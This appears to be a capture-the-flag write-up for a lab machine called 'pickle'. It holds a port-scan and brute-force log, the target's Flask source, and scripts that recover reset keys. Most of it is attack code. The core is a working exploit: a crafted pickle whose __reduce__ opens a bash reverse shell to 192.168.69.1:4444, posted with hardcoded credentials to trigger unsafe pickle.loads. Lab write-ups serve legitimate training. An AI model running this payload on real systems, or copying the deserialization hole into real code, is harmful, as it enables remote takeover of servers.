λ zscan -t 192.168.69.16 -p 1-65535[ ]2025/03/07 22:28:47 本次扫描用户屏蔽的端口:[25 110 9100 9101 9102 9103]Tips: 可以使用-Pn参数关闭存活性探测，将会将所有主机视为存活[+]2025/03/07 22:28:47 当前环境为：windows, 输出编码为：utf-8[+]2025/03/07 22:28:47 hydra模块已开启，开始监听暴力破解任务[ ]2025/03/07 22:28:47 当前已开启的hydra模块为：[ssh rdp ftp smb telnet mysql mssql oracle postgresql mongodb redis] [+]2025/03/07 22:28:47 成功加载HTTP指纹:[26553]条 [+]2025/03/07 22:28:47 成功加载NMAP探针:[150]个,指纹[11916]条 [ ]2025/03/07 22:28:47 未检测到qqwry.dat,将关闭CDN检测功能，如需开启，请执行kscan --download-qqwry下载该文件[+]2025/03/07 22:28:48 Domain、IP、Port、URL、Hydra引擎已准备就绪[+]2025/03/07 22:28:48 所有扫描任务已下发完毕ftp://192.168.69.16         ftp                        Port:21,OperatingSystem:Unix,DeviceType:v,Digest:"220(vsFTPd3.0.3)rn",ProductName:vsftpd,Version:3.0.3,Length:20[+] ftp 192.168.69.16:21:anonymous anonymous[->].[->]..[->]init.py.bak[+] ftp 192.168.69.16:21:ftp ftp[->]. [->].. [->]init.py.bakftp://192.168.69.16         CrackSuccess               Password:ftp,Username:ftp,Length:0snmp://192.168.69.16       snmp                       Hostname:pickle,Port:161,Length:49,ProductName:SNMPv1server,Info:public,Digest:"0/public"L3V00+picklehttp://192.168.69.16                                 Port:1337,Digest:"loginwithpropercrede,Length:300[ ] WebTitle http://192.168.69.16 code:401 len:90     title:None [debug]主路径扫描结果 [http://192.168.69.16] [*]2025/03/07 22:30:00 当前存活协程数：Domain：0 个，IP：1 个，Port：242 个，URL：0 个，Hydra：0 个 [+]2025/03/07 22:30:17 程序执行总时长为：[1m30.2725618s]

from functools import wrapsfrom flask import *import hashlibimport socketimport base64import pickleimport hmacapp = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")@app.route('/', methods=["GET", "POST"])def index_page():'''__index_page__()'''if request.method == "POST" and request.form["story"] and request.form["submit"]:md5_encode = hashlib.md5(request.form["story"]).hexdigest()paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)write_page = open(paths_page, "w")write_page.write(request.form["story"])return "The message was sent successfully!"return render_template("index.html")@app.route('/reset', methods=["GET", "POST"])def reset_page():'''__reset_page__()'''pass@app.route('/checklist', methods=["GET", "POST"])def check_page():'''__check_page__()'''if request.method == "POST" and request.form["check"]:path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])open_page    = open(path_page, "rb").read()if "p1" in open_page:open_page = pickle.loads(open_page)return str(open_page)else:return open_pageelse:return "Server Error!"return render_template("checklist.html")if name == '__main__':app.run(host='0.0.0.0', port=1337, debug=True)

#coding:utf-8import osimport cPickleimport hashlibimport requestsclass CommandExecute(object):        def __reduce__(self):                return (eval, ("__import__('os').system('bash -c "exec bash -i &>/dev/tcp/192.168.69.1/4444 <&1"')",))                # return (os.system, ("bash -c 'exec bash -i &>/dev/tcp/192.168.69.1/4444 <&1'",))convert_data = cPickle.dumps(CommandExecute())assert 'p1' in convert_dataconvert_crypt = hashlib.md5(convert_data).hexdigest()send_requests = requests.post('http://192.168.69.16:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))check_requests = requests.post('http://192.168.69.16:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))print(check_requests.text)

from functools import wrapsfrom flask import *import hashlibimport socketimport base64import pickleimport hmacapp = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")def check_auth(username, password):       """This function is called to check if a username /       password combination is valid.       """       return username == 'lucas' and password == 'SuperSecretPassword123!'def authenticate():       """Sends a 401 response that enables basic auth"""       return Response(       'Could not verify your access level for that URL.n'       'You have to login with proper credentials', 401,       {'WWW-Authenticate': 'Basic realm="Pickle login"'})def requires_auth(f):       @wraps(f)       def decorated(*args, **kwargs):           auth = request.authorization           if not auth or not check_auth(auth.username, auth.password):               return authenticate()           return f(*args, **kwargs)       return decorated@app.route('/', methods=["GET", "POST"])@requires_authdef index_page():        '''                __index_page__()        '''        if request.method == "POST" and request.form["story"] and request.form["submit"]:                md5_encode = hashlib.md5(request.form["story"]).hexdigest()                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)                write_page = open(paths_page, "w")                write_page.write(request.form["story"])                return "The message was sent successfully!"        return render_template("index.html")@app.route('/reset', methods=["GET", "POST"])@requires_authdef reset_page():        '''                __reset_page__()        '''        if request.method == "POST" and request.form["username"] and request.form["key"]:                key    = "dpff43f3p214k31301"                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())                hashed = hmac.new(key, raw, hashlib.sha1)                if request.form["key"] == hashed.hexdigest():                        return base64.b64encode(hashed.digest().encode("base64").rstrip("n"))        else:                return "Server Error!"        return render_template("reset.html")@app.route('/checklist', methods=["GET", "POST"])@requires_authdef check_page():        '''                __check_page__()        '''        if request.method == "POST" and request.form["check"]:                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])                open_page    = open(path_page, "rb").read()                if "p1" in open_page:                        open_page = pickle.loads(open_page)                        return str(open_page)                else:                        return open_page        else:                return "Server Error!"        return render_template("checklist.html")@app.route('/console')@requires_authdef secret_page():        return "Server Error!"if __name__ == '__main__':        app.run(host='0.0.0.0', port=1337, debug=True)

import hashlibimport socketimport base64import hmacuser=['lucas', 'mark']for i in user:    key = "dpff43f3p214k31301"    raw = i + key + "127.0.1.1"    hashed = hmac.new(key, raw, hashlib.sha1)    print("[+] USER:",i)    print(base64.b64encode(hashed.digest().encode("base64").rstrip("n")))